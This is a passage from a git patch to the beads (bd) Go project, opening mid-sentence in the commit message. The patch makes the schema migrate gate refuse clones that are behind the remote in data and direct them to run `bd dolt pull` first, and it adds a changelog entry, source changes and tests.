unconditional and riskless - and the cost of that stall is reaching for `bd migrate --force`. It is now false for exactly that arm. It stays true when DataDiverged (the pull merges and can need conflict resolution and a --strategy choice) and when Shared (the payload's second option needs an operator who can confirm every co-resident client is upgraded, #5920); getting either backwards would be worse than the contradiction. The `when` string is deliberately unchanged for both shapes - the pull is the only way forward either way; it is the risk, not the applicability, that diverging changes. Refs #6575 Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5 --- CHANGELOG.md | 74 +++ cmd/bd/events_journal_construction_test.go | 1 + cmd/bd/main.go | 25 + cmd/bd/remote_migrate_gate.go | 76 ++- cmd/bd/remote_sync_open_test.go | 354 ++++++++++++ cmd/bd/store_factory.go | 10 + .../dolt/smart_gate_data_behind_test.go | 277 ++++++++++ .../dolt/smart_remote_migrate_gate_test.go | 3 + internal/storage/dolt/store.go | 49 +- internal/storage/embeddeddolt/cache.go | 18 +- .../embeddeddolt/remote_sync_gate_test.go | 381 +++++++++++++ internal/storage/embeddeddolt/store.go | 129 ++++- internal/storage/embeddeddolt/store_stub.go | 5 + .../storage/schema/remote_migrate_gate.go | 216 +++++++- .../schema/smart_remote_migrate_gate.go | 114 +++- .../schema/smart_remote_migrate_gate_test.go | 502 ++++++++++++++++++ .../storage/versioncontrolops/fastforward.go | 38 +- 17 files changed, 2243 insertions(+), 29 deletions(-) create mode 100644 cmd/bd/remote_sync_open_test.go create mode 100644 internal/storage/dolt/smart_gate_data_behind_test.go create mode 100644 internal/storage/embeddeddolt/remote_sync_gate_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 51e2e2ddd..5734dd278 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -164,6 +164,80 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 without starting either. The `--json` payload changes shape to carry that — see **Changed** above before parsing it. +- **The smart migrate gate no longer auto-migrates a clone whose data is behind + the remote** ([#6575](https://github.com/gastownhall/beads/issues/6575)). The + gate's first-mover verdict was computed from schema facts alone — equal + migration content hashes against the cached remote ref, at the same version, + at or above the convergence floor — and none of those say where the clone's + branch sits relative to that ref. A clone level with the remote on *schema* + but behind it in unpulled *data* commits satisfied every precondition, was + classified a safe first-mover, and migrated in place, minting local-only + schema commits on a HEAD missing those commits. When the pending batch moves + a tracked table onto the `dolt_ignore` plane, every later `bd dolt pull` then + refuses with `local changes would be stomped by merge: events` + ([#6368](https://github.com/gastownhall/beads/issues/6368)) while `dolt + status` reads clean — and the clone can no longer fetch the very commits it + was behind on. Upgrading from a 1.1-era database is the ordinary way in, so + this release's upgrade audience is the exposed one. The gate now reads the + branch position its callers already supply and stops with guidance naming the + remedy: run `bd dolt pull`, then re-run what you were blocked on, and the + migrate proceeds as a true first-mover. + + The stop applies whenever the clone has commits left to pull, whether or not + it also has commits of its own. bd auto-commits every write, so a clone that + is both behind and ahead is the ordinary multi-machine state, and it reaches + the same wedge; it is told its pull will *merge* rather than fast-forward, and + how to resolve conflicts if it reports them. A clone that is level with the + remote, or that only has unpushed local commits with nothing to pull, still + auto-migrates exactly as before. + + **`bd dolt pull` works from the refused state.** It opens the store too, so + on a refused clone it would otherwise hit the very refusal that prescribes + it — and an embedded workspace has no external `dolt` binary to fall back to, + which would leave `BD_ALLOW_REMOTE_MIGRATE=1` (performing the migration the + stop exists to prevent) as the only way forward. `bd dolt pull` now opens + leniently for this one refusal, the way `bd dolt commit` does for the + dirty-working-set refusal + ([#4566](https://github.com/gastownhall/beads/issues/4566)); every other gate + refusal still fails that open. This supersedes the [1.3.0] upgrade note's + statement that the pending-migration gate refuses `bd dolt pull` as well as + `bd dolt push`: for the data-behind stop it does not, by design. + + Commands that keep working through the stop say the same thing. `bd list`, + `bd ready` and `bd show` succeed against the old schema, and `bd dolt commit` + still commits the working set; on embedded storage all of them used to print + the blunt migrate-or-adopt coordination bullets while doing so — naming + `bd migrate --force && bd dolt push`, which on a data-behind clone applies + the migration this stop exists to prevent and then fails the push + non-fast-forward, and `bd bootstrap`, which no-ops against an existing + workspace. They now print the pull-first guidance, shape-branched the same + way the fatal refusal is, alongside the note that the command in hand + continued at the current schema. Refusals that are *not* the data-behind stop + keep the coordination bullets, which are right for them. + + `--json` callers get the same remedy the terminal does: `observed`, + `expected` and `options` describe the pull (a single `pull-first` option) + rather than the migrate-or-adopt decision that does not apply here, plus a + `data_behind_shape` of `fast-forward` or `diverged`. `fallback_reason` stays + `data-behind`. For the fast-forward shape on a non-shared store — one + unconditional option, no local commits, nothing discarded — + `human_decision_required` is now `false`, so an agent can run the pull + instead of stalling for approval of a step the same payload calls riskless. + It stays `true` for the diverged shape (the pull merges and can need conflict + resolution) and on a shared store (the follow-up consent step needs an + operator who can confirm every co-resident client is upgraded). On a shared + Dolt sql-server the guidance carries #5920's consequence — migrating promotes + the schema for every co-resident client, and clients still on an older bd + refuse the database until upgraded — and names the `bd migrate schema` + consent step the retry needs there. + + Both existing workarounds keep working unchanged: `BD_SMART_GATE=0` opts out + of the smart gate entirely (which means the blunt gate applies to `bd dolt + pull` too — that is what opting out is), and running `bd dolt pull` before the + first open after upgrading avoids the state to begin with. `bd migrate + --force` / `BD_ALLOW_REMOTE_MIGRATE=1` are still consulted before the gate and + still override it. + - **A dotted config key now round-trips: what `bd config set` writes, `bd config get` and bd's own readers find** ([#6578](https://github.com/gastownhall/beads/pull/6578), bd-zj95). Setting a diff --git a/cmd/bd/events_journal_construction_test.go b/cmd/bd/events_journal_construction_test.go index ac762dc30..bdfb78fbd 100644 --- a/cmd/bd/events_journal_construction_test.go +++ b/cmd/bd/events_journal_construction_test.go @@ -58,6 +58,7 @@ var storeConstructors = map[string]map[string]bool{ "OpenForReadOnlyCommand": true, "OpenForPreviewCommand": true, "OpenForWorkingSetReconcile": true, + "OpenForRemoteSync": true, }, "github.com/steveyegge/beads/internal/storage/uow": { "NewDoltServerUOWProvider": true, diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 7a52cffc3..1d2bbb6c1 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -324,6 +324,30 @@ func isWorkingSetReconcileCommand(cmd *cobra.Command) bool { return parent.Name() == "dolt" || parent.Name() == "vc" } +// isRemoteSyncCommand reports whether cmd is `bd dolt pull`: the one command +// the #6575 data-behind migrate-gate refusal tells the operator to run. +// +// It is the same deadlock isWorkingSetReconcileCommand breaks for #4566, one +// refusal over. The gate stops a data-behind clone from migrating and names +// `bd dolt pull` as the remedy — but the pull opens the store too, so it hit +// that refusal before it could clear its cause. On an embedded clone there is +// no external `dolt` binary to fall back to, which left the refused clone with +// exactly one exit: BD_ALLOW_REMOTE_MIGRATE=1, i.e. performing the migration +// the refusal exists to prevent. Opening via embeddeddolt.OpenForRemoteSync / +// dolt.Config.RemoteSyncOpen tolerates that ONE gate reason and nothing else. +// +// Deliberately just the pull, not `bd sync`: sync also pushes and can write +// issue rows, and a write against a stale schema is the hazard the gate is +// about. The pull only moves the commit graph, which is precisely the +// precondition the refusal is waiting on. +func isRemoteSyncCommand(cmd *cobra.Command) bool { + if cmd.Name() != "pull" { + return false + } + parent := cmd.Parent() + return parent != nil && parent.Name() == "dolt" +} + // isForcedMigrate reports whether cmd is `bd migrate` or `bd migrate schema` // invoked with --force: the operator confirming they are the single designated // migrator, so the remote-migrate gate (#4259) must not block this run's store @@ -1622,6 +1646,7 @@ var rootCmd = &cobra.Command{ DisableAutoStart: policy.disableAutoStart, BeadsDir: beadsDir, LenientOpen: isWorkingSetReconcileCommand(cmd), + RemoteSyncOpen: isRemoteSyncCommand(cmd), } // Load config to get database name and server connection settings. diff --git a/cmd/bd/remote_migrate_gate.go b/cmd/bd/remote_migrate_gate.go index 76076512b..eb0a2fb97 100644 --- a/cmd/bd/remote_migrate_gate.go +++ b/cmd/bd/remote_migrate_gate.go @@ -18,6 +18,49 @@ const ( sharedServersDocsURL = "https://github.com/gastownhall/beads/blob/main/docs/getting-started/upgrading.md#shared-servers" ) +// humanDecisionRequired reports whether this refusal is one an agent must stop +// and hand to a human, rather than act on. +// +// Every arm of this gate but one is a coordination or data-loss decision the +// process cannot make — which clone is the designated migrator, whether it is +// safe to discard unpushed work, whether every co-resident client is upgraded +// — so the answer is true by default, and was hard-coded true before the +// #6575 data-behind stop existed. +// +// The data-behind stop is the exception, and only in its narrowest shape. It +// carries a single option whose command is `bd dolt pull`, whose When is +// unconditional ("always, for this stop") and whose Risk is "none — a pure +// fast-forward"; AgentDirective says the same in prose. Leaving the field true +// there made this payload contradict itself: an agent keying on it stopped to +// ask a human to approve a step the rest of the payload calls unconditional +// and riskless — and the cost of that stall is the operator reaching for +// `bd migrate --force` instead, which is the #6575 wedge. +// +// Both narrowing conditions are deliberate, and getting either backwards would +// be worse than leaving the field true: +// +// - DataDiverged: the clone has commits of its own, so the pull MERGES. +// Options() already says so — its Risk for this shape is conflicts "that +// must be resolved before it completes", with a `--strategy ours|theirs` +// choice behind them. A merge that can require conflict resolution, and a +// strategy that decides whose rows win, is exactly a human decision. +// AgentDirective agrees ("surface a conflict outcome to the operator +// rather than forcing past it"). Stays true. +// +// - Shared: the pull itself is still safe, but on a shared store the payload +// carries a SECOND option, migrate-shared-after-pulling, whose When +// requires the operator to confirm every co-resident bd client is upgraded +// (#5920) — unobservable from this process. This field describes the +// payload, not its first option, so one option needing a human makes the +// answer true. AgentDirective agrees ("Do NOT auto-run it"). Stays true. +// +// What is NOT narrowed on: the When string, which is "always, for this stop" +// in both shapes and correctly so — the pull is the only way forward either +// way. It is the Risk, not the applicability, that the diverged shape changes. +func humanDecisionRequired(e *schema.RemoteMigrateGateError) bool { + return !(e.IsDataBehind() && !e.DataDiverged && !e.Shared) +} + // handleRemoteMigrateGateJSON renders the #4259 remote-migrate gate error as a // structured JSON error block for agent consumption. // @@ -44,7 +87,13 @@ func handleRemoteMigrateGateJSON(e *schema.RemoteMigrateGateError) { if globalFlag { sharedConsent = schema.SharedConsentCommandGlobal } - retargetShared := globalFlag && e.Decision == "shared-no-remote" + // The #6575 data-behind stop on a SHARED store carries the same consent + // verb in its second option (migrate-shared-after-pulling), so it needs + // the same retarget: under --global the project-scoped verb would + // consent the wrong database and leave the refusal in place. It reaches + // here through the default arm (empty Decision), so the Decision test + // alone would miss it. + retargetShared := globalFlag && (e.Decision == "shared-no-remote" || (e.IsDataBehind() && e.Shared)) opts := make([]map[string]interface{}, 0, len(e.Options())) for _, o := range e.Options() { @@ -76,7 +125,7 @@ func handleRemoteMigrateGateJSON(e *schema.RemoteMigrateGateError) { "latest_version": e.LatestVersion, "pending": e.Pending, "severity": "blocking", - "human_decision_required": true, + "human_decision_required": humanDecisionRequired(e), "observed": fmt.Sprintf("%d pending schema migration(s) and a configured remote", e.Pending), "expected": "exactly one designated clone migrates and publishes; every other clone adopts the result", "options": opts, @@ -122,6 +171,29 @@ func handleRemoteMigrateGateJSON(e *schema.RemoteMigrateGateError) { if e.FallbackReason != "" { gate["fallback_reason"] = e.FallbackReason } + // gastownhall/beads#6575: the data-behind stop is a blunt stop with + // a specific, verified, one-command remedy, and the blunt + // observed/expected pair above describes a decision that does not + // apply to it. Leaving them in place pointed an agent at + // `bd migrate --force` (the bug) followed by a `bd dolt push` that + // is guaranteed to be rejected non-fast-forward while the clone is + // still behind. e.Options() already returns the pull-first option + // for this reason, so options/hint are correct above; these two + // fields are what was still lying. decision stays absent — the + // stop has no Decision, and fallback_reason is the key an agent + // matches on. + if e.IsDataBehind() { + observed := "this clone is level with the remote on schema but is BEHIND it in commits it has not pulled, so the pending migration would land on a history missing them (#6575, #6368)" + if e.DataDiverged { + observed += "; it also has commits of its own, so pulling merges rather than fast-forwards" + gate["data_behind_shape"] = "diverged" + } else { + observed += "; it has no commits of its own, so pulling is a pure fast-forward" + gate["data_behind_shape"] = "fast-forward" + } + gate["observed"] = observed + gate["expected"] = "run `" + schema.DataBehindRemedyCommand + "` first; the migration is only allowed once this clone has nothing left to pull" + } } m["remote_migrate_gate"] = gate } diff --git a/cmd/bd/remote_sync_open_test.go b/cmd/bd/remote_sync_open_test.go new file mode 100644 index 000000000..2059b682d --- /dev/null +++ b/cmd/bd/remote_sync_open_test.go @@ -0,0 +1,354 @@ +package main + +import ( + "bytes" + "encoding/json" + "io" + "os" + "strings" + "testing" + + "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/storage/schema" +) + +// TestIsRemoteSyncCommand pins which command gets the #6575 narrow lenient +// open. It is exactly `bd dolt pull` — the command the data-behind refusal +// prescribes, which before this fix was blocked by the refusal that prescribed +// it (the #4566 deadlock shape, one refusal over). +// +// The negative cases matter as much as the positive one: `bd sync` also pushes +// and can write issue rows, and a write against a stale schema is the hazard +// the gate exists for, so it is deliberately NOT enrolled. A bare `pull` with +// no `dolt` parent must not match either, or any future `bd pull` would +// inherit an exemption nobody reviewed. +func TestIsRemoteSyncCommand(t *testing.T) { + build := func(parent, child string) *cobra.Command { + c := &cobra.Command{Use: child} + if parent != "" { + p := &cobra.Command{Use: parent} + p.AddCommand(c) + } + return c + } + cases := []struct { + parent, child string + want bool + }{ + {parent: "dolt", child: "pull", want: true}, + {parent: "dolt", child: "push", want: false}, + {parent: "dolt", child: "commit", want: false}, + {parent: "vc", child: "pull", want: false}, + {parent: "", child: "pull", want: false}, + {parent: "", child: "sync", want: false}, + } + for _, c := range cases { + name := c.parent + " " + c.child + t.Run(strings.TrimSpace(name), func(t *testing.T) { + if got := isRemoteSyncCommand(build(c.parent, c.child)); got != c.want { + t.Errorf("isRemoteSyncCommand(%q) = %v, want %v", name, got, c.want) + } + }) + } +} + +// TestIsRemoteSyncCommandMatchesTheRealPullCommand guards the classification +// against the real command tree rather than a hand-built stand-in, so renaming +// or re-parenting `bd dolt pull` cannot silently drop the exemption and +// re-wedge the refused cohort. +func TestIsRemoteSyncCommandMatchesTheRealPullCommand(t *testing.T) { + if !isRemoteSyncCommand(doltPullCmd) { + t.Error("isRemoteSyncCommand(doltPullCmd) = false; the data-behind refusal's own remedy would be blocked again (#6575)") + } + if isRemoteSyncCommand(doltPushCmd) { + t.Error("isRemoteSyncCommand(doltPushCmd) = true; only the pull may open past the refusal") + } + if isRemoteSyncCommand(doltCommitCmd) { + t.Error("isRemoteSyncCommand(doltCommitCmd) = true; the commit has its own #4566 classification") + } +} + +// TestHandleRemoteMigrateGateJSON_DataBehind covers the review's F4: the +// agent-facing block for the #6575 stop used to carry only an opaque +// `fallback_reason: "data-behind"` while observed/expected/options stayed the +// blunt migrate-or-adopt default — so an agent reading the documented contract +// surfaced `bd migrate --force` (the bug) followed by a `bd dolt push` that is +// guaranteed to be rejected non-fast-forward while the clone is still behind, +// plus a `bd bootstrap` that no-ops. The prose remedy existed only in text +// --json never emitted. +func TestHandleRemoteMigrateGateJSON_DataBehind(t *testing.T) { + capture := func(t *testing.T, gate *schema.RemoteMigrateGateError) map[string]interface{} { + t.Helper() + origStderr := os.Stderr + r, w, pipeErr := os.Pipe() + if pipeErr != nil { + t.Fatal(pipeErr) + } + os.Stderr = w + defer func() { os.Stderr = origStderr }() + handleRemoteMigrateGateJSON(gate) + _ = w.Close() + var buf bytes.Buffer + if _, err := io.Copy(&buf, r); err != nil { + t.Fatal(err) + } + _ = r.Close() + var parsed map[string]interface{} + if err := json.Unmarshal(buf.Bytes(), &parsed); err != nil { + t.Fatalf("json.Unmarshal stderr: %v\nstderr was: %s", err, buf.String()) + } + return parsed + } + + for _, tc := range []struct { + name string + diverged bool + wantShape string + }{ + {name: "fast-forward shape", diverged: false, wantShape: "fast-forward"}, + {name: "diverged shape", diverged: true, wantShape: "diverged"}, + } { + t.Run(tc.name, func(t *testing.T) { + gate := &schema.RemoteMigrateGateError{ + CurrentVersion: 66, LatestVersion: 67, Pending: 1, + FallbackReason: "data-behind", + DataDiverged: tc.diverged, + } + parsed := capture(t, gate) + obj, ok := parsed["remote_migrate_gate"].(map[string]interface{}) + if !ok { + t.Fatalf("remote_migrate_gate missing or wrong type: %T", parsed["remote_migrate_gate"]) + } + // The machine-readable reason an agent matches on is unchanged. + if got, _ := obj["fallback_reason"].(string); got != "data-behind" { + t.Errorf("fallback_reason = %v, want \"data-behind\"", obj["fallback_reason"]) + } + if _, ok := obj["decision"]; ok { + t.Errorf("this is a blunt stop and must not carry a decision key, got %v", obj["decision"]) + } + if got, _ := obj["data_behind_shape"].(string); got != tc.wantShape { + t.Errorf("data_behind_shape = %v, want %q", obj["data_behind_shape"], tc.wantShape) + } + // observed/expected must describe THIS stop, not the + // designated-migrator decision that does not apply to it. + observed, _ := obj["observed"].(string) + if !strings.Contains(observed, "BEHIND") { + t.Errorf("observed = %q, want the behind-the-remote framing", observed) + } + expected, _ := obj["expected"].(string) + if !strings.Contains(expected, schema.DataBehindRemedyCommand) { + t.Errorf("expected = %q, want the pull-first remedy", expected) + } + if strings.Contains(expected, "designated clone migrates") { + t.Errorf("expected = %q, still the blunt migrate-or-adopt framing", expected) + } + // options must be the single measured remedy, and must not hand an + // agent either of the two dead ends. + rawOpts, ok := obj["options"].([]interface{}) + if !ok || len(rawOpts) != 1 { + t.Fatalf("options = %v, want exactly one (the pull)", obj["options"]) + } + o, _ := rawOpts[0].(map[string]interface{}) + if id, _ := o["id"].(string); id != "pull-first" { + t.Errorf("option id = %v, want \"pull-first\"", o["id"]) + } + cmds, _ := o["commands"].([]interface{}) + if len(cmds) != 1 || cmds[0] != schema.DataBehindRemedyCommand { + t.Errorf("option commands = %v, want [%q]", cmds, schema.DataBehindRemedyCommand) + } + if o["when"] == nil || o["risk"] == nil { + t.Errorf("option missing when/risk: %v", o) + } + // The top-level hint stays the non-runnable directive, and must + // name the remedy rather than the escape hatch. + hint, _ := parsed["hint"].(string) + if hint != gate.AgentDirective() { + t.Errorf("hint = %q, want the agent directive", hint) + } + if !strings.Contains(hint, schema.DataBehindRemedyCommand) { + t.Errorf("hint = %q, want it to name the remedy", hint) + } + if hint == gate.EscapeHint() { + t.Errorf("hint must not be the runnable escape command %q", gate.EscapeHint()) + } + // Nothing anywhere in the block may offer the migrate/push pair or + // the no-op bootstrap for this state. + blob, err := json.Marshal(parsed) + if err != nil { + t.Fatal(err) + } + for _, banned := range []string{"bd bootstrap", "bd migrate --force"} { + if strings.Contains(string(blob), banned) { + t.Errorf("the data-behind block offers %q, which was measured not to work from this state:\n%s", banned, blob) + } + } + }) + } + + // A shared, data-behind refusal carries the #5920 consent verb in its + // second option, and that verb is target-scoped: under --global the + // project-scoped `bd migrate schema` would consent the WRONG database and + // leave the refusal in place. This stop reaches the renderer through the + // default (empty-Decision) arm, so the retarget cannot be keyed on + // Decision alone the way shared-no-remote's is. + t.Run("shared under --global retargets the consent verb", func(t *testing.T) { + origGlobal := globalFlag + globalFlag = true + defer func() { globalFlag = origGlobal }() + + gate := &schema.RemoteMigrateGateError{ + CurrentVersion: 66, LatestVersion: 67, Pending: 1, + FallbackReason: "data-behind", + Shared: true, + } + parsed := capture(t, gate) + obj, ok := parsed["remote_migrate_gate"].(map[string]interface{}) + if !ok { + t.Fatalf("remote_migrate_gate missing or wrong type: %T", parsed["remote_migrate_gate"]) + } + rawOpts, ok := obj["options"].([]interface{}) + if !ok || len(rawOpts) != 2 { + t.Fatalf("options = %v, want the pull plus the shared consent step", obj["options"]) + } + consent, _ := rawOpts[1].(map[string]interface{}) + cmds, _ := consent["commands"].([]interface{}) + if len(cmds) != 1 || cmds[0] != schema.SharedConsentCommandGlobal { + t.Errorf("consent option commands = %v, want [%q] under --global", cmds, schema.SharedConsentCommandGlobal) + } + // The pull is target-agnostic and must NOT be rewritten. + pull, _ := rawOpts[0].(map[string]interface{}) + pullCmds, _ := pull["commands"].([]interface{}) + if len(pullCmds) != 1 || pullCmds[0] != schema.DataBehindRemedyCommand { + t.Errorf("pull option commands = %v, want [%q] unchanged", pullCmds, schema.DataBehindRemedyCommand) + } + }) +} + +// TestHandleRemoteMigrateGateJSON_HumanDecisionRequired pins the one arm of +// this payload where human_decision_required is false, and — more importantly +// — the three where it must stay true. +// +// The field was hard-coded true, which made the data-behind payload contradict +// itself: the single option it carries is annotated `when: "always, for this +// stop"` and `risk: "none — a pure fast-forward"`, and AgentDirective says the +// same, yet an agent keying on this field stopped to ask a human to approve an +// unconditional, riskless step. The cost of that stall is the operator +// reaching for `bd migrate --force` instead — the #6575 wedge. +// +// The two narrowings are the substance of the finding: a diverged pull MERGES +// and can need conflict resolution (and a `--strategy ours|theirs` choice), and +// a shared store carries a SECOND option whose precondition is operator +// confirmation that every co-resident client is upgraded (#5920), which this +// process cannot observe. Either one flipping to false would be worse than the +// contradiction it replaced. +func TestHandleRemoteMigrateGateJSON_HumanDecisionRequired(t *testing.T) { + capture := func(t *testing.T, gate *schema.RemoteMigrateGateError) map[string]interface{} { + t.Helper() + origStderr := os.Stderr + r, w, pipeErr := os.Pipe() + if pipeErr != nil { + t.Fatal(pipeErr) + } + os.Stderr = w + defer func() { os.Stderr = origStderr }() + handleRemoteMigrateGateJSON(gate) + _ = w.Close() + var buf bytes.Buffer + if _, err := io.Copy(&buf, r); err != nil { + t.Fatal(err) + } + _ = r.Close() + var parsed map[string]interface{} + if err := json.Unmarshal(buf.Bytes(), &parsed); err != nil { + t.Fatalf("json.Unmarshal stderr: %v\nstderr was: %s", err, buf.String()) + } + return parsed + } + + for _, tc := range []struct { + name string + gate *schema.RemoteMigrateGateError + want bool + why string + }{ + { + name: "data-behind, fast-forward, not shared", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, FallbackReason: "data-behind"}, + want: false, + why: "the single option is an unconditional, riskless, non-destructive pull", + }, + { + name: "data-behind, diverged", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, FallbackReason: "data-behind", DataDiverged: true}, + want: true, + why: "the pull merges and can need conflict resolution / a strategy choice", + }, + { + name: "data-behind, shared", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, FallbackReason: "data-behind", Shared: true}, + want: true, + why: "the second option needs operator confirmation that every co-resident client is upgraded (#5920)", + }, + { + name: "data-behind, diverged and shared", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, FallbackReason: "data-behind", DataDiverged: true, Shared: true}, + want: true, + why: "both narrowings apply", + }, + { + name: "blunt remote-backed stop", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1}, + want: true, + why: "only ONE clone may migrate a shared remote — a coordination decision", + }, + { + name: "adopt", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, Decision: "adopt"}, + want: true, + why: "adoption is destructive", + }, + { + name: "fork-skew", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, Decision: "fork-skew"}, + want: true, + why: "picking a canonical clone discards the others' unpushed work", + }, + { + name: "shared-no-remote", + gate: &schema.RemoteMigrateGateError{CurrentVersion: 66, LatestVersion: 67, Pending: 1, Decision: "shared-no-remote", Shared: true}, + want: true, + why: "other clients' binary versions are not observable from this process", + }, + } { + t.Run(tc.name, func(t *testing.T) { + parsed := capture(t, tc.gate) + obj, ok := parsed["remote_migrate_gate"].(map[string]interface{}) + if !ok { + t.Fatalf("remote_migrate_gate missing or wrong type: %T", parsed["remote_migrate_gate"]) + } + got, ok := obj["human_decision_required"].(bool) + if !ok { + t.Fatalf("human_decision_required missing or not a bool: %T", obj["human_decision_required"]) + } + if got != tc.want { + t.Errorf("human_decision_required = %v, want %v — %s", got, tc.want, tc.why) + } + // The contradiction is only resolved if the rest of the payload + // still says what it said: a false here has to come with the + // unconditional, riskless single option it is claiming. + if !tc.want { + rawOpts, ok := obj["options"].([]interface{}) + if !ok || len(rawOpts) != 1 { + t.Fatalf("human_decision_required=false with options = %v; it may only be false for the single-option pull", obj["options"]) + } + o, _ := rawOpts[0].(map[string]interface{}) + if risk, _ := o["risk"].(string); !strings.HasPrefix(risk, "none") { + t.Errorf("human_decision_required=false but option risk = %q; want a risk-free option", risk) + } + if when, _ := o["when"].(string); !strings.HasPrefix(when, "always") { + t.Errorf("human_decision_required=false but option when = %q; want an unconditional option", when) + } + } + }) + } +} diff --git a/cmd/bd/store_factory.go b/cmd/bd/store_factory.go index c6cedd9bd..00f1afb32 100644 --- a/cmd/bd/store_factory.go +++ b/cmd/bd/store_factory.go @@ -109,6 +109,16 @@ func newDoltStore(ctx context.Context, cfg *dolt.Config) (s storage.DoltStorage, // branch is the embedded half of one policy, not the whole of it. return embeddeddolt.OpenForWorkingSetReconcile(ctx, cfg.BeadsDir, cfg.Database, "main") } + if cfg.RemoteSyncOpen { + // `bd dolt pull` must not be bricked by the #6575 data-behind gate + // refusal, because that refusal's entire remedy IS this pull: the gate + // stops a clone that is behind the remote from migrating and tells the + // operator to pull first, and an embedded clone has no external dolt + // binary to do it with. Same deadlock as #4566, and this open tolerates + // only that one gate reason (see openRemoteSync). The server arm above + // honors the same cfg.RemoteSyncOpen inside dolt.New. + return embeddeddolt.OpenForRemoteSync(ctx, cfg.BeadsDir, cfg.Database, "main") + } return embeddeddolt.Open(ctx, cfg.BeadsDir, cfg.Database, "main") } diff --git a/internal/storage/dolt/smart_gate_data_behind_test.go b/internal/storage/dolt/smart_gate_data_behind_test.go new file mode 100644 index 000000000..54d0395d3 --- /dev/null +++ b/internal/storage/dolt/smart_gate_data_behind_test.go @@ -0,0 +1,277 @@ +package dolt + +import ( + "context" + "database/sql" + "errors" + "fmt" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/doltutil" + "github.com/steveyegge/beads/internal/storage/schema" + "github.com/steveyegge/beads/internal/storage/versioncontrolops" +) + +// TestDoltNew_SmartRemoteMigrateGate_DataBehindBlocks_RealDolt is the +// regression test for gastownhall/beads#6575: the smart gate's first-mover +// verdict used to be computed from schema facts alone, so a clone level with +// the remote on SCHEMA but behind it in DATA commits was classified a safe +// first-mover and auto-migrated in place — minting local-only schema commits +// on a HEAD missing the remote's data commits, which is one route into the +// #6368 events pull refusal. +// +// The fixture builds a genuinely data-behind clone against a real Dolt server +// — the behind-ness is MEASURED here (the same ahead/behind primitive the gate +// consults), never stubbed, because a test that fakes the fact the bug is about +// proves nothing: +// +// - "source" regresses its schema cursor one migration below latest (commit +// C0) and publishes C0 to a file:// origin. +// - "laggingClone" is a genuine server-side DOLT_CLONE of origin at C0. +// - "source" then makes a pure DATA commit C1 (a config row — no schema +// change at all, so the two stay at the SAME schema version) and pushes. +// - laggingClone runs CALL DOLT_FETCH('origin') only, so its cached +// remotes/origin/main advances to C1 while its own branch HEAD stays at C0. +// +// laggingClone is now schema-level with the remote (equal content hashes, +// equal max version — the smart gate's first-mover precondition) and yet one +// data commit behind it. The gate must refuse with the pull-first fallback +// reason rather than auto-migrate. +// +// BOTH shapes of that state are covered, because the review of the first fix +// measured that the narrower one was the rarer one (F2). The subtests differ +// only in whether the clone also makes a local commit of its own before the +// gate runs: +// +// - ahead=0, behind=1 — a strict ancestor; `bd dolt pull` fast-forwards. +// - ahead=1, behind=1 — diverged; `bd dolt pull` merges. Since bd +// auto-commits every write, this is the ordinary multi-machine state, and +// it reaches the identical wedge. At the first fix's head this shape +// printed "safe first-mover" and migrated. +// +// The second half of each subtest then proves the remedy loop self-heals and +// that the fix does not over-refuse: once the clone has nothing left to pull, +// the very same gate call auto-migrates it as a true first-mover. +func TestDoltNew_SmartRemoteMigrateGate_DataBehindBlocks_RealDolt(t *testing.T) { + for _, tc := range []struct { + name string + // localCommits is how many commits of its own the lagging clone makes + // after fetching: 0 is the strict-ancestor shape, 1 the diverged one. + localCommits int + wantDiverged bool + // wantRemedy is the substring the guidance must carry for this shape, + // so a clone is never told its pull will fast-forward when it merges. + wantRemedy string + }{ + {name: "strict ancestor", localCommits: 0, wantRemedy: "pure fast-forward"}, + {name: "diverged", localCommits: 1, wantDiverged: true, wantRemedy: "MERGES"}, + } { + t.Run(tc.name, func(t *testing.T) { + runDataBehindGateCase(t, tc.localCommits, tc.wantDiverged, tc.wantRemedy) + }) + } +} + +func runDataBehindGateCase(t *testing.T, localCommits int, wantDiverged bool, wantRemedy string) { + skipIfNoDolt(t) + t.Setenv(schema.SmartGateEnv, "1") + t.Setenv(schema.AllowRemoteMigrateEnv, "0") + + ctx, cancel := testContext(t) + defer cancel() + + latest := schema.LatestVersion() + floor := schema.LastNonDeterministicMigration + if latest-1 < floor { + t.Skipf("latest=%d too close to floor=%d to build the fixture", latest, floor) + } + pBehind := latest - 1 + + tmpDir := t.TempDir() + sourceDB := uniqueTestDBName(t) + + source, err := New(ctx, &Config{ + Path: tmpDir, + CommitterName: "test", + CommitterEmail: "test@example.com", + Database: sourceDB, + CreateIfMissing: true, + MaxOpenConns: 1, // single session so working-set regressions are visible to the gate reads + }) + if err != nil { + t.Fatalf("New (source): %v", err) + } + sdb := source.db + defer func() { + dropCtx, dropCancel := context.WithTimeout(context.Background(), 5*testTimeout) + defer dropCancel() + _, _ = sdb.ExecContext(dropCtx, fmt.Sprintf("DROP DATABASE IF EXISTS `%s`", sourceDB)) + source.Close() + }() + + mustExec := func(stage string, db *sql.DB, q string, args ...any) { + t.Helper() + if _, err := db.ExecContext(ctx, q, args...); err != nil { + t.Fatalf("%s: %v", stage, err) + } + } + + remoteURL := "file://" + filepath.Join(tmpDir, "data-behind-remote") + + // --- source: regress to pBehind (commit C0) and publish it. --- + mustExec("regress to pBehind", sdb, "DELETE FROM schema_migrations WHERE version = ?", latest) + mustExec("stage C0", sdb, "CALL DOLT_ADD('-A')") + mustExec("commit C0", sdb, "CALL DOLT_COMMIT('--allow-empty', '-m', 'test: regress to pBehind (C0)')") + 